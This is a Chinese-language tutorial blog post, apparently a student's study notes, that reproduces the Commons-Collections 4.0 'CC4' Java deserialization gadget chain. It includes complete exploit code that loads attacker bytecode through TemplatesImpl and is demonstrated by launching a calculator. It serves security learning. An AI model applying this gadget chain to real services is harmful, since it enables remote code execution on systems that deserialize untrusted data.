JAVA安全学习笔记--Commons-Collections链复现篇(04. CC4链)

CC4链

前言

由于TransformingComparator类在commons-collections3没有实现序列化接口,而commons-collections4实现了,所以才有CC4链的存在。

CC4链的后半部分其实就是CC3链的后半部分,也就是通过InstantiateTransformer#transform走完后续的动态类加载的过程。

但是CC3的链子是直接拿了CC1或者CC6的前半部分的链子来连接transform方法。而CC4则是重新寻找了别的方式来实现。

环境部署

  • jdk8u65
  • Commons-Collections 4.0

在pom.xml里添加依赖:

<dependency>  
 <groupId>org.apache.commons</groupId>  
 <artifactId>commons-collections4</artifactId>  
 <version>4.0</version>  
</dependency>

然后clean+install。

攻击链分析

一、寻找链尾

链尾我们前面说过了,就是CC3链的后半部分。

image-20250913153706402

这里就不再赘述了。接下来我们需要往前跟进,寻找哪个方法里调用了transform方法。、

二、寻找链子

由于我们前面一直使用了ChainedTransformer,所以从它的transform来find usages。

image-20250913154023902

TransformingComparator里发现了compare方法里调用了它,而这个方法其实是比较常见的,非常符合我们的利用条件。

image-20250913154148041

我们继续往前跟进,看谁调用了compare

image-20250913154611818

发现在PriorityQueue中发现了有这些方法直接调用了compare,其实他们的作用大差不差的,我们选择siftDownUsingComparator研究。

image-20250913154830731

继续往前跟进

image-20250913154920114

可以发现只有一个方法直接调用了它,就是当前类下的siftDown方法。再接下来一步步跟进,可以发现都在当前类下,并且最后走到了readObject里面。

利用链如下:

image-20250913160308247

化简一下其实就是:

PriorityQueue#readObject    -->....  -->  TransformingComparator#compare  -->  InstantiateTransformer#transform

三、初步编写EXP

我们先将CC3链的那一半链子写出来:

package com.test.CC4;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.functors.InstantiateTransformer;

import javax.xml.transform.Templates;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

public class test {
    public static void main(String[] args) throws Exception{
        byte[] code = Files.readAllBytes(Paths.get("E:\\Experiment\\TemplatesBytes.class"));
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_name", "Calc");
        setFieldValue(templates, "_bytecodes", new byte[][] {code});
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),// 构造 setValue 的可控参数
                instantiateTransformer
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        chainedTransformer.transform(1);
    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

然后我们尝试连接TransformingComparator类中的compare方法。我们最后是希望调用的是chainedTransformertransform方法,我们看一下当前类的构造方法能否控制参数。

image-20250913183721428

可以发现我们只需要将chainedTransformer传给transformer即可。

package com.test.CC4;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;

import javax.xml.transform.Templates;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

public class test {
    public static void main(String[] args) throws Exception{
        byte[] code = Files.readAllBytes(Paths.get("E:\\Experiment\\TemplatesBytes.class"));
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_name", "Calc");
        setFieldValue(templates, "_bytecodes", new byte[][] {code});
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),// 构造 setValue 的可控参数
                instantiateTransformer
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);
        transformingComparator.compare(1,1);
    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

运行看看目前链子是否可行

image-20250913183846670

成功弹出计算器,说明目前是可行的,我们继续完善EXP:

然后便是要与PriorityQueue中的各种方法连接,我们首先看一下此类的构造方法

image-20250913164626215

发现可以传入一个comparator,这样我们便可以直接传入transformingComparator作为参数。然后进行序列化和反序列化。

理想下的EXP:

package com.test.CC4;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class test {
    public static void main(String[] args) throws Exception{
        byte[] code = Files.readAllBytes(Paths.get("E:\\Experiment\\TemplatesBytes.class"));
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_name", "Calc");
        setFieldValue(templates, "_bytecodes", new byte[][] {code});
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),// 构造 setValue 的可控参数
                instantiateTransformer
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);
        PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
        serialize(priorityQueue);
        unserialize("ser.bin");
    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}
  • 但是运行之后会发现没有任何异常,也没有弹出计算器,这是为什么呢?

四、解决问题

我们就需要断点调试一下了,这里断点设置在readObject之后heapify即可。

image-20250913191128612

可以发现此时的size等于0,但是-1之后就不满足i>=0的条件了。所以它并不会继续执行siftdown了。

并且这里的(size>>>1)代表的是二进制里的向右移一位,0向右移动一位还是零。但是如果size的值为2就满足条件了。

image-20250913191420774

size在这里代表的是队列中有多少个元素,我们想解决这个问题就有两种方式。

  1. 通过反射直接修改size的大小
  2. 通过add往队列中添加两个元素

  • 首先我们尝试通过第一种方式直接修改字段值解决

添加如下反射代码

        Class clazz = priorityQueue.getClass();
        Field sizeField = clazz.getDeclaredField("size");
        sizeField.setAccessible(true);
        sizeField.set(priorityQueue,2);

然后直接运行看效果

image-20250914111706816

  • 然后便是通过第二种方式通过add添加两个元素解决
        priorityQueue.add(1);
        priorityQueue.add(2);

然后运行看效果:

image-20250914123224507

你可以发现虽然成功弹出了计算器,但是走的链子并不是我们所设想的啊。所走的链子变成了:

add->offer->siftUp.....

那我们跟进到add里面看看什么情况

image-20250914123404227

继续跟进到offer

image-20250914123423032

跟进到最后可以发现,最终也能走完整条链子

image-20250914123541154

这种情况跟当时hashMap#put时遇到的情况非常相似,都是提前走完了整条链子。

而解决方案自然也一样,先在前面把比如给TransformingComparator赋值一个没用的,然后add完了之后再改回chainedTransformer

TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));

add后反射修改回去即可:

priorityQueue.add(1);
priorityQueue.add(2);

Class t = transformingComparator.getClass();
Field transformerField = t.getDeclaredField("transformer");
transformerField.setAccessible(true);
transformerField.set(transformingComparator,chainedTransformer);

五、完整的EXP

完整的CC4链:

package com.test.CC4;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class test {
    public static void main(String[] args) throws Exception{
        byte[] code = Files.readAllBytes(Paths.get("E:\\Experiment\\TemplatesBytes.class"));
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_name", "Calc");
        setFieldValue(templates, "_bytecodes", new byte[][] {code});
        // 下面一条去掉也是可以的,因为在readObject时会对它进行初始化
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),// 构造 setValue 的可控参数
                instantiateTransformer
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));
        PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
//        Class clazz = priorityQueue.getClass();
//        Field sizeField = clazz.getDeclaredField("size");
//        sizeField.setAccessible(true);
//        sizeField.set(priorityQueue,2);
        priorityQueue.add(1);
        priorityQueue.add(2);
        Class t = transformingComparator.getClass();
        Field transformerField = t.getDeclaredField("transformer");
        transformerField.setAccessible(true);
        transformerField.set(transformingComparator,chainedTransformer);
        serialize(priorityQueue);
        unserialize("ser.bin");
    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

运行看效果

image-20250914124517252

可以发现这一次走的链子便完全符合我们的设想了。

当然选择通过反射将size值改为2也是可以的,但是我看官方好像都使用的第二种解决方案也就是通过add

六、总结

CC4链子的后半条是直接拿了CC3的后半条链子,只有从InstantiateTransformer#transform往前是不一样的。

依旧画个图简单总结一下

image-20250914125533155

可以发现,复现完前面的,后面的链子就越来越得心应手了。

点赞

发表回复

电子邮件地址不会被公开。必填项已用 * 标注